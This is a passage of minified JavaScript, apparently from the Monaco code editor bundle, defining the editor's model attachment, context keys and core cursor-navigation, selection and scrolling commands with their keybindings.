d=this._decorationTypeKeysToIds[e]||[];this._decorationTypeKeysToIds[e]=this.deltaDecorations(d,o)},t.prototype.removeDecorations=function(e){var t=this._decorationTypeKeysToIds[e];t&&this.deltaDecorations(t,[]),this._decorationTypeKeysToIds.hasOwnProperty(e)&&delete this._decorationTypeKeysToIds[e],this._decorationTypeSubtypes.hasOwnProperty(e)&&delete this._decorationTypeSubtypes[e]},t.prototype.getLayoutInfo=function(){return this._configuration.editor.layoutInfo},t.prototype._attachModel=function(e){var t=this;this.model=e||null,this.listenersToRemove=[],this.viewModel=null,this.cursor=null,this.model?(this.domElement.setAttribute(\"data-mode-id\",this.model.getLanguageIdentifier().language),this._configuration.setIsDominatedByLongLines(this.model.isDominatedByLongLines()),this._configuration.setMaxLineNumber(this.model.getLineCount()),this.model.onBeforeAttached(),this.viewModel=new g.ViewModel(this.id,this._configuration,this.model),this.listenersToRemove.push(this.model.addBulkListener(function(e){for(var n=0,i=e.length;n<i;n++){var o=e[n].type,r=e[n].data;switch(o){case _.TextModelEventType.ModelDecorationsChanged:t._onDidChangeModelDecorations.fire(r);break;case _.TextModelEventType.ModelLanguageChanged:t.domElement.setAttribute(\"data-mode-id\",t.model.getLanguageIdentifier().language),t._onDidChangeModelLanguage.fire(r);break;case _.TextModelEventType.ModelContentChanged:t._onDidChangeModelContent.fire(r);break;case _.TextModelEventType.ModelOptionsChanged:t._onDidChangeModelOptions.fire(r);break;case _.TextModelEventType.ModelDispose:t.setModel(null)}}})),this.cursor=new u.Cursor(this._configuration,this.model,this.viewModel),this._createView(),this.listenersToRemove.push(this.cursor.onDidChange(function(e){for(var n=[],i=0,o=e.selections.length;i<o;i++)n[i]=e.selections[i].getPosition();var r={position:n[0],secondaryPositions:n.slice(1),reason:e.reason,source:e.source};t._onDidChangeCursorPosition.fire(r);var s={selection:e.selections[0],secondarySelections:e.selections.slice(1),source:e.source,reason:e.reason};t._onDidChangeCursorSelection.fire(s)}))):this.hasView=!1},t.prototype._postDetachModelCleanup=function(e){if(e){if(this._decorationTypeKeysToIds={},this._decorationTypeSubtypes){for(var t in this._decorationTypeSubtypes){var n=this._decorationTypeSubtypes[t];for(var i in n)this._removeDecorationType(t+\"-\"+i)}this._decorationTypeSubtypes={}}e.removeAllDecorationsWithOwnerId(this.id)}},t.prototype._detachModel=function(){this.model&&this.model.onBeforeDetached(),this.hasView=!1,this.listenersToRemove=o.dispose(this.listenersToRemove),this.cursor&&(this.cursor.dispose(),this.cursor=null),this.viewModel&&(this.viewModel.dispose(),this.viewModel=null);var e=this.model;return this.model=null,this.domElement.removeAttribute(\"data-mode-id\"),e},t.prototype.getTelemetryData=function(){return null},t}(o.Disposable);t.CommonCodeEditor=w;var S=function(e){function t(t,n){var i=e.call(this)||this;return i._editor=t,i._editorId=n.createKey(\"editorId\",t.getId()),i._editorFocus=y.EditorContextKeys.focus.bindTo(n),i._editorTextFocus=y.EditorContextKeys.textFocus.bindTo(n),i._editorTabMovesFocus=y.EditorContextKeys.tabMovesFocus.bindTo(n),i._editorReadonly=y.EditorContextKeys.readOnly.bindTo(n),i._hasMultipleSelections=y.EditorContextKeys.hasMultipleSelections.bindTo(n),i._hasNonEmptySelection=y.EditorContextKeys.hasNonEmptySelection.bindTo(n),i._register(i._editor.onDidChangeConfiguration(function(){return i._updateFromConfig()})),i._register(i._editor.onDidChangeCursorSelection(function(){return i._updateFromSelection()})),i._register(i._editor.onDidFocusEditor(function(){return i._updateFromFocus()})),i._register(i._editor.onDidBlurEditor(function(){return i._updateFromFocus()})),i._register(i._editor.onDidFocusEditorText(function(){return i._updateFromFocus()})),i._register(i._editor.onDidBlurEditorText(function(){return i._updateFromFocus()})),i._updateFromConfig(),i._updateFromSelection(),i._updateFromFocus(),i}return f(t,e),t.prototype._updateFromConfig=function(){var e=this._editor.getConfiguration();this._editorTabMovesFocus.set(e.tabFocusMode),this._editorReadonly.set(e.readOnly)},t.prototype._updateFromSelection=function(){var e=this._editor.getSelections();e?(this._hasMultipleSelections.set(e.length>1),this._hasNonEmptySelection.set(e.some(function(e){return!e.isEmpty()}))):(this._hasMultipleSelections.reset(),this._hasNonEmptySelection.reset())},t.prototype._updateFromFocus=function(){this._editorFocus.set(this._editor.hasWidgetFocus()),this._editorTextFocus.set(this._editor.isFocused())},t}(o.Disposable)}),define(d[134],h([1,0,12,2,20,39,54,173,13,311,21,105,42,19,29,64,119,170]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,v,_){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var y=o.Handler,C=d.KeybindingsRegistry.WEIGHT.editorCore(),b=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype.runEditorCommand=function(e,t,n){this.runCoreEditorCommand(t._getCursors(),n||{})},t}(u.EditorCommand);t.CoreEditorCommand=b;var w;!function(e){e.description={description:\"Scroll editor in the given direction\",args:[{name:\"Editor scroll argument object\",description:\"Property-value pairs that can be passed through this argument:\\n\\t\\t\\t\\t\\t* 'to': A mandatory direction value.\\n\\t\\t\\t\\t\\t\\t```\\n\\t\\t\\t\\t\\t\\t'up', 'down'\\n\\t\\t\\t\\t\\t\\t```\\n\\t\\t\\t\\t\\t* 'by': Unit to move. Default is computed based on 'to' value.\\n\\t\\t\\t\\t\\t\\t```\\n\\t\\t\\t\\t\\t\\t'line', 'wrappedLine', 'page', 'halfPage'\\n\\t\\t\\t\\t\\t\\t```\\n\\t\\t\\t\\t\\t* 'value': Number of units to move. Default is '1'.\\n\\t\\t\\t\\t\\t* 'revealCursor': If 'true' reveals the cursor if it is outside view port.\\n\\t\\t\\t\\t\",constraint:function(e){if(!g.isObject(e))return!1;var t=e;return!(!g.isString(t.to)||!g.isUndefined(t.by)&&!g.isString(t.by)||!g.isUndefined(t.value)&&!g.isNumber(t.value)||!g.isUndefined(t.revealCursor)&&!g.isBoolean(t.revealCursor))}}]},e.RawDirection={Up:\"up\",Down:\"down\"},e.RawUnit={Line:\"line\",WrappedLine:\"wrappedLine\",Page:\"page\",HalfPage:\"halfPage\"},e.parse=function(t){var n;switch(t.to){case e.RawDirection.Up:n=1;break;case e.RawDirection.Down:n=2;break;default:return null}var i;switch(t.by){case e.RawUnit.Line:i=1;break;case e.RawUnit.WrappedLine:i=2;break;case e.RawUnit.Page:i=3;break;case e.RawUnit.HalfPage:i=4;break;default:i=2}return{direction:n,unit:i,value:Math.floor(t.value||1),revealCursor:!!t.revealCursor,select:!!t.select}};!function(e){e[e.Up=1]=\"Up\",e[e.Down=2]=\"Down\"}(e.Direction||(e.Direction={}));!function(e){e[e.Line=1]=\"Line\",e[e.WrappedLine=2]=\"WrappedLine\",e[e.Page=3]=\"Page\",e[e.HalfPage=4]=\"HalfPage\"}(e.Unit||(e.Unit={}))}(w=t.EditorScroll_||(t.EditorScroll_={}));var S;!function(e){e.description={description:\"Reveal the given line at the given logical position\",args:[{name:\"Reveal line argument object\",description:\"Property-value pairs that can be passed through this argument:\\n\\t\\t\\t\\t\\t* 'lineNumber': A mandatory line number value.\\n\\t\\t\\t\\t\\t* 'at': Logical position at which line has to be revealed .\\n\\t\\t\\t\\t\\t\\t```\\n\\t\\t\\t\\t\\t\\t'top', 'center', 'bottom'\\n\\t\\t\\t\\t\\t\\t```\\n\\t\\t\\t\\t\",constraint:function(e){if(!g.isObject(e))return!1;var t=e;return!(!g.isNumber(t.lineNumber)||!g.isUndefined(t.at)&&!g.isString(t.at))}}]},e.RawAtArgument={Top:\"top\",Center:\"center\",Bottom:\"bottom\"}}(S=t.RevealLine_||(t.RevealLine_={}));var E;!function(e){var t=function(e){function t(t){var n=e.call(this,t)||this;return n._inSelectionMode=t.inSelectionMode,n}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){e.context.model.pushStackElement(),e.setStates(t.source,s.CursorChangeReason.Explicit,[a.CursorMoveCommands.moveTo(e.context,e.getPrimaryCursor(),this._inSelectionMode,t.position,t.viewPosition)]),e.reveal(!0,0)},t}(b);e.MoveTo=u.registerEditorCommand(new t({id:\"_moveTo\",inSelectionMode:!1,precondition:null})),e.MoveToSelect=u.registerEditorCommand(new t({id:\"_moveToSelect\",inSelectionMode:!0,precondition:null}));var o=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){e.context.model.pushStackElement();var n=this._getColumnSelectResult(e.context,e.getPrimaryCursor(),e.getColumnSelectData(),t);e.setStates(t.source,s.CursorChangeReason.Explicit,n.viewStates.map(function(e){return r.CursorState.fromViewState(e)})),e.setColumnSelectData({toViewLineNumber:n.toLineNumber,toViewVisualColumn:n.toVisualColumn}),e.reveal(!0,n.reversed?1:2)},t}(b);e.ColumnSelect=u.registerEditorCommand(new(function(e){function t(){return e.call(this,{id:\"columnSelect\",precondition:null})||this}return f(t,e),t.prototype._getColumnSelectResult=function(e,t,i,o){var r,s=e.model.validatePosition(o.position);return r=o.viewPosition?e.validateViewPosition(new n.Position(o.viewPosition.lineNumber,o.viewPosition.column),s):e.convertModelPositionToViewPosition(s),l.ColumnSelection.columnSelect(e.config,e.viewModel,t.viewState.selection,r.lineNumber,o.mouseColumn-1)},t}(o))),e.CursorColumnSelectLeft=u.registerEditorCommand(new(function(e){function t(){return e.call(this,{id:\"cursorColumnSelectLeft\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:3599,linux:{primary:0}}})||this}return f(t,e),t.prototype._getColumnSelectResult=function(e,t,n,i){return l.ColumnSelection.columnSelectLeft(e.config,e.viewModel,t.viewState,n.toViewLineNumber,n.toViewVisualColumn)},t}(o))),e.CursorColumnSelectRight=u.registerEditorCommand(new(function(e){function t(){return e.call(this,{id:\"cursorColumnSelectRight\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:3601,linux:{primary:0}}})||this}return f(t,e),t.prototype._getColumnSelectResult=function(e,t,n,i){return l.ColumnSelection.columnSelectRight(e.config,e.viewModel,t.viewState,n.toViewLineNumber,n.toViewVisualColumn)},t}(o)));var d=function(e){function t(t){var n=e.call(this,t)||this;return n._isPaged=t.isPaged,n}return f(t,e),t.prototype._getColumnSelectResult=function(e,t,n,i){return l.ColumnSelection.columnSelectUp(e.config,e.viewModel,t.viewState,this._isPaged,n.toViewLineNumber,n.toViewVisualColumn)},t}(o);e.CursorColumnSelectUp=u.registerEditorCommand(new d({isPaged:!1,id:\"cursorColumnSelectUp\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:3600,linux:{primary:0}}})),e.CursorColumnSelectPageUp=u.registerEditorCommand(new d({isPaged:!0,id:\"cursorColumnSelectPageUp\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:3595,linux:{primary:0}}}));var h=function(e){function t(t){var n=e.call(this,t)||this;return n._isPaged=t.isPaged,n}return f(t,e),t.prototype._getColumnSelectResult=function(e,t,n,i){return l.ColumnSelection.columnSelectDown(e.config,e.viewModel,t.viewState,this._isPaged,n.toViewLineNumber,n.toViewVisualColumn)},t}(o);e.CursorColumnSelectDown=u.registerEditorCommand(new h({isPaged:!1,id:\"cursorColumnSelectDown\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:3602,linux:{primary:0}}})),e.CursorColumnSelectPageDown=u.registerEditorCommand(new h({isPaged:!0,id:\"cursorColumnSelectPageDown\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:3596,linux:{primary:0}}}));var p=function(e){function t(){return e.call(this,{id:\"cursorMove\",precondition:null,description:a.CursorMove.description})||this}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){var n=a.CursorMove.parse(t);n&&this._runCursorMove(e,t.source,n)},t.prototype._runCursorMove=function(e,t,n){e.context.model.pushStackElement(),e.setStates(t,s.CursorChangeReason.Explicit,r.CursorState.ensureInEditableRange(e.context,a.CursorMoveCommands.move(e.context,e.getAll(),n))),e.reveal(!0,0)},t}(b);e.CursorMoveImpl=p,e.CursorMove=u.registerEditorCommand(new p);var g;!function(e){e[e.PAGE_SIZE_MARKER=-1]=\"PAGE_SIZE_MARKER\"}(g||(g={}));var m=function(t){function n(e){var n=t.call(this,e)||this;return n._staticArgs=e.args,n}return f(n,t),n.prototype.runCoreEditorCommand=function(t,n){var i=this._staticArgs;-1===this._staticArgs.value&&(i={direction:this._staticArgs.direction,unit:this._staticArgs.unit,select:this._staticArgs.select,value:t.context.config.pageSize}),e.CursorMove._runCursorMove(t,n.source,i)},n}(b);e.CursorLeft=u.registerEditorCommand(new m({args:{direction:0,unit:0,select:!1,value:1},id:\"cursorLeft\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:15,mac:{primary:15,secondary:[288]}}})),e.CursorLeftSelect=u.registerEditorCommand(new m({args:{direction:0,unit:0,select:!0,value:1},id:\"cursorLeftSelect\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:1039}})),e.CursorRight=u.registerEditorCommand(new m({args:{direction:1,unit:0,select:!1,value:1},id:\"cursorRight\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:17,mac:{primary:17,secondary:[292]}}})),e.CursorRightSelect=u.registerEditorCommand(new m({args:{direction:1,unit:0,select:!0,value:1},id:\"cursorRightSelect\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:1041}})),e.CursorUp=u.registerEditorCommand(new m({args:{direction:2,unit:2,select:!1,value:1},id:\"cursorUp\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:16,mac:{primary:16,secondary:[302]}}})),e.CursorUpSelect=u.registerEditorCommand(new m({args:{direction:2,unit:2,select:!0,value:1},id:\"cursorUpSelect\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:1040,secondary:[3088],mac:{primary:1040},linux:{primary:1040}}})),e.CursorPageUp=u.registerEditorCommand(new m({args:{direction:2,unit:2,select:!1,value:-1},id:\"cursorPageUp\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:11}})),e.CursorPageUpSelect=u.registerEditorCommand(new m({args:{direction:2,unit:2,select:!0,value:-1},id:\"cursorPageUpSelect\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:1035}})),e.CursorDown=u.registerEditorCommand(new m({args:{direction:3,unit:2,select:!1,value:1},id:\"cursorDown\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:18,mac:{primary:18,secondary:[300]}}})),e.CursorDownSelect=u.registerEditorCommand(new m({args:{direction:3,unit:2,select:!0,value:1},id:\"cursorDownSelect\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:1042,secondary:[3090],mac:{primary:1042},linux:{primary:1042}}})),e.CursorPageDown=u.registerEditorCommand(new m({args:{direction:3,unit:2,select:!1,value:-1},id:\"cursorPageDown\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:12}})),e.CursorPageDownSelect=u.registerEditorCommand(new m({args:{direction:3,unit:2,select:!0,value:-1},id:\"cursorPageDownSelect\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:1036}})),e.CreateCursor=u.registerEditorCommand(new(function(e){function t(){return e.call(this,{id:\"createCursor\",precondition:null})||this}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){var n=e.context;if(!n.config.readOnly&&!n.model.hasEditableRange()){var i;i=t.wholeLine?a.CursorMoveCommands.line(n,e.getPrimaryCursor(),!1,t.position,t.viewPosition):a.CursorMoveCommands.moveTo(n,e.getPrimaryCursor(),!1,t.position,t.viewPosition);var o=e.getAll();if(o.length>1)for(var r=i.modelState?i.modelState.position:null,u=i.viewState?i.viewState.position:null,l=0,c=o.length;l<c;l++){var d=o[l];if((!r||d.modelState.selection.containsPosition(r))&&(!u||d.viewState.selection.containsPosition(u)))return o.splice(l,1),e.context.model.pushStackElement(),void e.setStates(t.source,s.CursorChangeReason.Explicit,o)}o.push(i),e.context.model.pushStackElement(),e.setStates(t.source,s.CursorChangeReason.Explicit,o)}},t}(b))),e.LastCursorMoveToSelect=u.registerEditorCommand(new(function(e){function t(){return e.call(this,{id:\"_lastCursorMoveToSelect\",precondition:null})||this}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){var n=e.context;if(!n.config.readOnly&&!n.model.hasEditableRange()){var i=e.getLastAddedCursorIndex(),o=e.getAll().slice(0);o[i]=a.CursorMoveCommands.moveTo(n,o[i],!0,t.position,t.viewPosition),e.context.model.pushStackElement(),e.setStates(t.source,s.CursorChangeReason.Explicit,o)}},t}(b)));var v=function(e){function t(t){var n=e.call(this,t)||this;return n._inSelectionMode=t.inSelectionMode,n}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){e.context.model.pushStackElement(),e.setStates(t.source,s.CursorChangeReason.Explicit,r.CursorState.ensureInEditableRange(e.context,a.CursorMoveCommands.moveToBeginningOfLine(e.context,e.getAll(),this._inSelectionMode))),e.reveal(!0,0)},t}(b);e.CursorHome=u.registerEditorCommand(new v({inSelectionMode:!1,id:\"cursorHome\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:14,mac:{primary:14,secondary:[2063]}}})),e.CursorHomeSelect=u.registerEditorCommand(new v({inSelectionMode:!0,id:\"cursorHomeSelect\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:1038,mac:{primary:1038,secondary:[3087]}}})),e.CursorLineStart=u.registerEditorCommand(new(function(e){function t(){return e.call(this,{id:\"cursorLineStart\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:0,mac:{primary:287}}})||this}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){e.context.model.pushStackElement(),e.setStates(t.source,s.CursorChangeReason.Explicit,r.CursorState.ensureInEditableRange(e.context,this._exec(e.context,e.getAll()))),e.reveal(!0,0)},t.prototype._exec=function(e,t){for(var n=[],i=0,o=t.length;i<o;i++){var s=t[i],a=s.modelState.position.lineNumber;n[i]=r.CursorState.fromModelState(s.modelState.move(!1,a,1,0))}return n},t}(b)));var _=function(e){function t(t){var n=e.call(this,t)||this;return n._inSelectionMode=t.inSelectionMode,n}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){e.context.model.pushStackElement(),e.setStates(t.source,s.CursorChangeReason.Explicit,r.CursorState.ensureInEditableRange(e.context,a.CursorMoveCommands.moveToEndOfLine(e.context,e.getAll(),this._inSelectionMode))),e.reveal(!0,0)},t}(b);e.CursorEnd=u.registerEditorCommand(new _({inSelectionMode:!1,id:\"cursorEnd\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:13,mac:{primary:13,secondary:[2065]}}})),e.CursorEndSelect=u.registerEditorCommand(new _({inSelectionMode:!0,id:\"cursorEndSelect\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:1037,mac:{primary:1037,secondary:[3089]}}})),e.CursorLineEnd=u.registerEditorCommand(new(function(e){function t(){return e.call(this,{id:\"cursorLineEnd\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:0,mac:{primary:291}}})||this}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){e.context.model.pushStackElement(),e.setStates(t.source,s.CursorChangeReason.Explicit,r.CursorState.ensureInEditableRange(e.context,this._exec(e.context,e.getAll()))),e.reveal(!0,0)},t.prototype._exec=function(e,t){for(var n=[],i=0,o=t.length;i<o;i++){var s=t[i],a=s.modelState.position.lineNumber,u=e.model.getLineMaxColumn(a);n[i]=r.CursorState.fromModelState(s.modelState.move(!1,a,u,0))}return n},t}(b)));var y=function(e){function t(t){var n=e.call(this,t)||this;return n._inSelectionMode=t.inSelectionMode,n}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){e.context.model.pushStackElement(),e.setStates(t.source,s.CursorChangeReason.Explicit,r.CursorState.ensureInEditableRange(e.context,a.CursorMoveCommands.moveToBeginningOfBuffer(e.context,e.getAll(),this._inSelectionMode))),e.reveal(!0,0)},t}(b);e.CursorTop=u.registerEditorCommand(new y({inSelectionMode:!1,id:\"cursorTop\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:2062,mac:{primary:2064}}})),e.CursorTopSelect=u.registerEditorCommand(new y({inSelectionMode:!0,id:\"cursorTopSelect\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:3086,mac:{primary:3088}}}));var E=function(e){function t(t){var n=e.call(this,t)||this;return n._inSelectionMode=t.inSelectionMode,n}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){e.context.model.pushStackElement(),e.setStates(t.source,s.CursorChangeReason.Explicit,r.CursorState.ensureInEditableRange(e.context,a.CursorMoveCommands.moveToEndOfBuffer(e.context,e.getAll(),this._inSelectionMode))),e.reveal(!0,0)},t}(b);e.CursorBottom=u.registerEditorCommand(new E({inSelectionMode:!1,id:\"cursorBottom\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:2061,mac:{primary:2066}}})),e.CursorBottomSelect=u.registerEditorCommand(new E({inSelectionMode:!0,id:\"cursorBottomSelect\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:3085,mac:{primary:3090}}}));var L=function(e){function t(){return e.call(this,{id:\"editorScroll\",precondition:null,description:w.description})||this}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){var n=w.parse(t);n&&this._runEditorScroll(e,t.source,n)},t.prototype._runEditorScroll=function(e,t,n){var i=this._computeDesiredScrollTop(e.context,n);if(n.revealCursor){var o=e.context.getCompletelyVisibleViewRangeAtScrollTop(i);e.setStates(t,s.CursorChangeReason.Explicit,[a.CursorMoveCommands.findPositionInViewportIfOutside(e.context,e.getPrimaryCursor(),o,n.select)])}e.scrollTo(i)},t.prototype._computeDesiredScrollTop=function(e,t){if(1===t.unit){var i=e.getCompletelyVisibleModelRange(),o=void 0;o=1===t.direction?Math.max(1,i.startLineNumber-t.value):Math.min(e.model.getLineCount(),i.startLineNumber+t.value);var r=e.convertModelPositionToViewPosition(new n.Position(o,1));return e.getVerticalOffsetForViewLine(r.lineNumber)}var s;s=3===t.unit?e.config.pageSize*t.value:4===t.unit?Math.round(e.config.pageSize/2)*t.value:t.value;var a=(1===t.direction?-1:1)*s;return e.getScrollTop()+a*e.config.lineHeight},t}(b);e.EditorScrollImpl=L,e.EditorScroll=u.registerEditorCommand(new L),e.ScrollLineUp=u.registerEditorCommand(new(function(t){function n(){return t.call(this,{id:\"scrollLineUp\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:2064,mac:{primary:267}}})||this}return f(n,t),n.prototype.runCoreEditorCommand=function(t,n){e.EditorScroll._runEditorScroll(t,n.source,{direction:1,unit:2,value:1,revealCursor:!1,select:!1})},n}(b))),e.ScrollPageUp=u.registerEditorCommand(new(function(t){function n(){return t.call(this,{id:\"scrollPageUp\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:2059,win:{primary:523},linux:{primary:523}}})||this}return f(n,t),n.prototype.runCoreEditorCommand=function(t,n){e.EditorScroll._runEditorScroll(t,n.source,{direction:1,unit:3,value:1,revealCursor:!1,select:!1})},n}(b))),e.ScrollLineDown=u.registerEditorCommand(new(function(t){function n(){return t.call(this,{id:\"scrollLineDown\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:2066,mac:{primary:268}}})||this}return f(n,t),n.prototype.runCoreEditorCommand=function(t,n){e.EditorScroll._runEditorScroll(t,n.source,{direction:2,unit:2,value:1,revealCursor:!1,select:!1})},n}(b))),e.ScrollPageDown=u.registerEditorCommand(new(function(t){function n(){return t.call(this,{id:\"scrollPageDown\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:2060,win:{primary:524},linux:{primary:524}}})||this}return f(n,t),n.prototype.runCoreEditorCommand=function(t,n){e.EditorScroll._runEditorScroll(t,n.source,{direction:2,unit:3,value:1,revealCursor:!1,select:!1})},n}(b)));var x=function(e){function t(t){var n=e.call(this,t)||this;return n._inSelectionMode=t.inSelectionMode,n}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){e.context.model.pushStackElement(),e.setStates(t.source,s.CursorChangeReason.Explicit,[a.CursorMoveCommands.word(e.context,e.getPrimaryCursor(),this._inSelectionMode,t.position)]),e.reveal(!0,0)},t}(b);e.WordSelect=u.registerEditorCommand(new x({inSelectionMode:!1,id:\"_wordSelect\",precondition:null})),e.WordSelectDrag=u.registerEditorCommand(new x({inSelectionMode:!0,id:\"_wordSelectDrag\",precondition:null})),e.LastCursorWordSelect=u.registerEditorCommand(new(function(e){function t(){return e.call(this,{id:\"lastCursorWordSelect\",precondition:null})||this}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){var n=e.context;if(!n.config.readOnly&&!n.model.hasEditableRange()){var i=e.getLastAddedCursorIndex(),o=e.getAll().slice(0);o[i]=a.CursorMoveCommands.word(n,o[i],!0,t.position),n.model.pushStackElement(),e.setStates(t.source,s.CursorChangeReason.Explicit,o)}},t}(b)));var N=function(e){function t(t){var n=e.call(this,t)||this;return n._inSelectionMode=t.inSelectionMode,n}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){e.context.model.pushStackElement(),e.setStates(t.source,s.CursorChangeReason.Explicit,[a.CursorMoveCommands.line(e.context,e.getPrimaryCursor(),this._inSelectionMode,t.position,t.viewPosition)]),e.reveal(!1,0)},t}(b);e.LineSelect=u.registerEditorCommand(new N({inSelectionMode:!1,id:\"_lineSelect\",precondition:null})),e.LineSelectDrag=u.registerEditorCommand(new N({inSelectionMode:!0,id:\"_lineSelectDrag\",precondition:null}));var M=function(e){function t(t){var n=e.call(this,t)||this;return n._inSelectionMode=t.inSelectionMode,n}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){var n=e.context;if(!n.config.readOnly&&!n.model.hasEditableRange()){var i=e.getLastAddedCursorIndex(),o=e.getAll().slice(0);o[i]=a.CursorMoveCommands.line(e.context,o[i],this._inSelectionMode,t.position,t.viewPosition),e.context.model.pushStackElement(),e.setStates(t.source,s.CursorChangeReason.Explicit,o)}},t}(b);e.LastCursorLineSelect=u.registerEditorCommand(new M({inSelectionMode:!1,id:\"lastCursorLineSelect\",precondition:null})),e.LastCursorLineSelectDrag=u.registerEditorCommand(new M({inSelectionMode:!0,id:\"lastCursorLineSelectDrag\",precondition:null})),e.ExpandLineSelection=u.registerEditorCommand(new(function(e){function t(){return e.call(this,{id:\"expandLineSelection\",precondition:null,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:2087}})||this}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){e.context.model.pushStackElement(),e.setStates(t.source,s.CursorChangeReason.Explicit,r.CursorState.ensureInEditableRange(e.context,a.CursorMoveCommands.expandLineSelection(e.context,e.getAll()))),e.reveal(!0,0)},t}(b))),e.CancelSelection=u.registerEditorCommand(new(function(e){function t(){return e.call(this,{id:\"cancelSelection\",precondition:c.EditorContextKeys.hasNonEmptySelection,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:9,secondary:[1033]}})||this}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){e.context.model.pushStackElement(),e.setStates(t.source,s.CursorChangeReason.Explicit,[a.CursorMoveCommands.cancelSelection(e.context,e.getPrimaryCursor())]),e.reveal(!0,0)},t}(b))),e.RemoveSecondaryCursors=u.registerEditorCommand(new(function(e){function t(){return e.call(this,{id:\"removeSecondaryCursors\",precondition:c.EditorContextKeys.hasMultipleSelections,kbOpts:{weight:C+1,kbExpr:c.EditorContextKeys.textFocus,primary:9,secondary:[1033]}})||this}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){e.context.model.pushStackElement(),e.setStates(t.source,s.CursorChangeReason.Explicit,[e.getPrimaryCursor()]),e.reveal(!0,0)},t}(b))),e.RevealLine=u.registerEditorCommand(new(function(e){function t(){return e.call(this,{id:\"revealLine\",precondition:null,description:S.description})||this}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){var n=t,o=n.lineNumber+1;o<1&&(o=1);var r=e.context.model.getLineCount();o>r&&(o=r);var s=new i.Range(o,1,o,e.context.model.getLineMaxColumn(o)),a=0;if(n.at)switch(n.at){case S.RawAtArgument.Top:a=3;break;case S.RawAtArgument.Center:a=1;break;case S.RawAtArgument.Bottom:a=4}var u=e.context.convertModelRangeToViewRange(s);e.revealRange(!1,u,a)},t}(b))),e.SelectAll=u.registerEditorCommand(new(function(e){function t(){return e.call(this,{id:\"selectAll\",precondition:null})||this}return f(t,e),t.prototype.runCoreEditorCommand=function(e,t){e.context.model.pushStackElement(),e.setStates(t.source,s.CursorChangeReason.Explicit,[a.CursorMoveCommands.selectAll(e.context,e.getPrimaryCursor())])},t}(b)))}(E=t.CoreNavigationCommands||(t.CoreNavigationCommands={}));!function(e){e.LineBreakInsert=u.registerEditorCommand(new(function(e){function t(){return e.call(this,{id:\"lineBreakInsert\",precondition:c.EditorContextKeys.writable,kbOpts:{weight:C,kbExpr:c.EditorContextKeys.textFocus,primary:null,mac:{primary:301}}})||this}return 